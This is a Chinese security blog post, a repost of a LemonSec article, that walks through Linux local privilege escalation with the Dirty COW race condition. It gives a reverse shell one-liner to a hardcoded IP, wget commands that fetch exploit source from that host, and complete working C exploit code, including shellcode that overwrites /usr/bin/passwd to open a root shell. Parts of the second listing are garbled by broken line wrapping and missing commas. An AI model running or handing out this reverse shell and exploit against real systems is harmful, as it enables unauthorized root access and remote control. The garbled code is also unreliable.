搜文章
推荐 原创 视频 Java开发 iOS开发 前端开发 JavaScript开发 Android开发 PHP开发 数据库 开发工具 Python开发 Kotlin开发 Ruby开发 .NET开发 服务器运维 开放平台 架构师 大数据 云计算 人工智能 开发语言 其它开发
Lambda在线 > LemonSec > linux提权--条件竞争漏洞

linux提权--条件竞争漏洞

LemonSec 2017-10-20

Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码


反弹shell

本地

攻击的服务器

bash -i >& /dev/tcp/139.199.109.184/90 0>&1

linux提权--条件竞争漏洞

反弹shell成功




一,poc验证 

 


建立文档为2.c


/*


####################### dirtyc0w.c #######################


$ sudo -s


# echo this is not a test > foo


# chmod 0404 foo


$ ls -lah foo


-r-----r-- 1 root root 19 Oct 20 15:23 foo


$ cat foo


this is not a test


$ gcc -lpthread dirtyc0w.c -o dirtyc0w


$ ./dirtyc0w foo m00000000000000000


mmap 56123000


madvise 0


procselfmem 1800000000


$ cat foo


m00000000000000000


####################### dirtyc0w.c #######################


*/


#include <stdio.h>


#include <sys/mman.h>


#include <fcntl.h>


#include <pthread.h>


#include <string.h>




void *map;


int f;


struct stat st;


char *name;




void *madviseThread(void *arg)


{


  char *str;


  str=(char*)arg;


  int i,c=0;


  for(i=0;i<100000000;i++)


  {


/*


You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661


> This is achieved by racing the madvise(MADV_DONTNEED) system call


> while having the page of the executable mmapped in memory.


*/


    c+=madvise(map,100,MADV_DONTNEED);


  }


  printf("madvise %d\n\n",c);


}




void *procselfmemThread(void *arg)


{


  char *str;


  str=(char*)arg;


/*


You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16


>  The in the wild exploit we are aware of doesn't work on Red Hat


>  Enterprise Linux 5 and 6 out of the box because on one side of


>  the race it writes to /proc/self/mem, but /proc/self/mem is not


>  writable on Red Hat Enterprise Linux 5 and 6.


*/


  int f=open("/proc/self/mem",O_RDWR);


  int i,c=0;


  for(i=0;i<100000000;i++) {


/*


You have to reset the file pointer to the memory position.


*/


    lseek(f,map,SEEK_SET);


    c+=write(f,str,strlen(str));


  }


  printf("procselfmem %d\n\n", c);


}






int main(int argc,char *argv[])


{


/*


You have to pass two arguments. File and Contents.


*/


  if (argc<3)return 1;


  pthread_t pth1,pth2;


/*


You have to open the file in read only mode.


*/


  f=open(argv[1],O_RDONLY);


  fstat(f,&st);


  name=argv[1];


/*


You have to use MAP_PRIVATE for copy-on-write mapping.


> Create a private copy-on-write mapping.  Updates to the


> mapping are not visible to other processes mapping the same


> file, and are not carried through to the underlying file.  It


> is unspecified whether changes made to the file after the


> mmap() call are visible in the mapped region.


*/


/*


You have to open with PROT_READ.


*/


  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);


  printf("mmap %x\n\n",map);


/*


You have to do it on two threads.


*/


  pthread_create(&pth1,NULL,madviseThread,argv[1]);


  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);


/*


You have to wait for the threads to finish.


*/


  pthread_join(pth1,NULL);


  pthread_join(pth2,NULL);


  return 0;


}



将2.c从本地服务器上传到攻击目标服务器:wget http://139.199.109.184/2.c


执行命令

linux提权--条件竞争漏洞

我没有执行成功,只做验证步骤,不一定存在漏洞~


二,exp执行


与上面poc验证用的linux系统不同,exp验证采用的更低版本的linux系统,原谅我忘了留图而且还没记住两次的版本~ 

      建立文档1.c


/*
* (un)comment correct payload first (x86 or x64)!

* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't worry,/usr/bin/passwd has been restored.
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<sys/mman.h>
#include 
<fcntl.h>
#include 
<pthread.h>
#include 
<string.h>
#include 
<unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs&&cp -f /tmp/bak /usr/bin/passwd&&/bin/bash" PrependSetuid=True -f elf | xxd -i
*/ 
unsigned 
char sc[] = {
 
0x7f0x450x4c0x460x020x010x010x000x000x000x000x00,
 
0x000x000x000x000x020x000x3e0x000x010x000x000x00,
 
0x780x000x400x000x000x000x000x000x400x000x000x00,
 
0x000x000x000x000x000x000x000x000x000x000x000x00,
 
0x000x000x000x000x400x000x380x000x010x000x000x00,
 
0x000x000x000x000x010x000x000x000x070x000x000x00,
 
0x000x000x000x000x000x000x000x000x000x000x400x00,
 
0x000x000x000x000x000x000x400x000x000x000x000x00,
 
0x020x010x000x000x000x000x000x000x8c0x010x000x00,
 
0x000x000x000x000x000x100x000x000x000x000x000x00,
 
0x480x310xff0x6a0x690x580x0f0x050x6a0x3b0x580x99,
 
0x480xbb0x2f0x620x690x6e0x2f0x730x680x000x530x48,
 
0x890xe70x680x2d0x630x000x000x480x890xe60x520xe8,
 
0x5b0x000x000x000x650x630x680x6f0x200x300x200x3e,
 
0x200x2f0x700x720x6f0x630x2f0x730x790x730x2f0x76,
 
0x6d0x2f0x640x690x720x740x790x5f0x770x720x690x74,
 
0x650x620x610x630x6b0x5f0x630x650x6e0x740x690x73,
 
0x650x630x730x260x260x630x700x200x2d0x660x200x2f,
 
0x740x6d0x700x2f0x620x610x6b0x200x2f0x750x730x72,
 
0x2f0x620x690x6e0x2f0x700x610x730x730x770x640x26,
 
0x260x2f0x620x690x6e0x2f0x620x610x730x680x000x56,
 
0x570x480x890xe60x0f0x05
};
unsigned 
int sc_len = 258;


void *madviseThread(void *arg)
{
   
char *str;
    str
=(char*)arg;
   
int i,c=0;
   
for(i=0;i<1000000 && !stop;i++) {
        c
+=madvise(map,100,MADV_DONTNEED);
    }
    printf(
"thread stopped\n");
}

void *procselfmemThread(void *arg)
{
   
char *str;
    str
=(char*)arg;
   
int f=open("/proc/self/mem",O_RDWR);
   
int i,c=0;
   
for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c
+=write(f, str, sc_len);
    }
    printf(
"thread stopped\n");
}

void *waitForWrite(void *arg) {
   
char buf[sc_len];

   
for(;;) {
        FILE 
*fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 
1, fp);

       
if(memcmp(buf, sc, sc_len) == 0) {
            printf(
"%s overwritten\n", suid_binary);
           
break;
        }

        fclose(fp);
        sleep(
1);
    }

    stop 
1;

    printf(
"Popping root shell.\n");
    printf(
"Don't worry,/usr/bin/passwd has been restored.\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
   
char *backup;

    printf(
"DirtyCow root privilege escalation\n");
    printf(
"Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(
&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f 
= open(suid_binary,O_RDONLY);
    fstat(f,
&st);

    printf(
"Size of binary: %d\n", st.st_size);

   
char payload[st.st_size];
    memset(payload, 
0x90, st.st_size);
    memcpy(payload, sc, sc_len
+1);


    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);


    printf(
"Racing, this may take a while..\n");

    pthread_create(
&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(
&pth2, NULL, &procselfmemThread, payload);
    pthread_create(
&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

   
return 0;

}




将1.c从本地服务器上传到攻击目标服务器:wget http://139.199.109.184/1.c


执行命令:

linux提权--条件竞争漏洞

linux提权--条件竞争漏洞

提权成功



原理分析


操作系统进程调度的本质时时间片轮转,一个进程可能在任何时刻被调度,转而运行第二个程序。竞争条件漏洞就是因为这种调度出现的漏洞。当一个程序本应相连的两步被打断,切换到另一进程时,这个进程可能对原来进程需要的资源进行修改,导致原程序的执行发生错误。本次实验中修改的就是程序操作文件指向的对象。





版权声明:本站内容全部来自于腾讯微信公众号,属第三方自助推荐收录。《linux提权--条件竞争漏洞》的版权归原作者「LemonSec」所有,文章言论观点不代表Lambda在线的观点, Lambda在线不承担任何法律责任。如需删除可联系QQ:516101458

文章来源: 阅读原文

相关阅读

关注LemonSec微信公众号

LemonSec微信公众号:lemon-sec

LemonSec

手机扫描上方二维码即可关注LemonSec微信公众号

LemonSec最新文章

精品公众号随机推荐

上一篇 >>

Scrum估算方法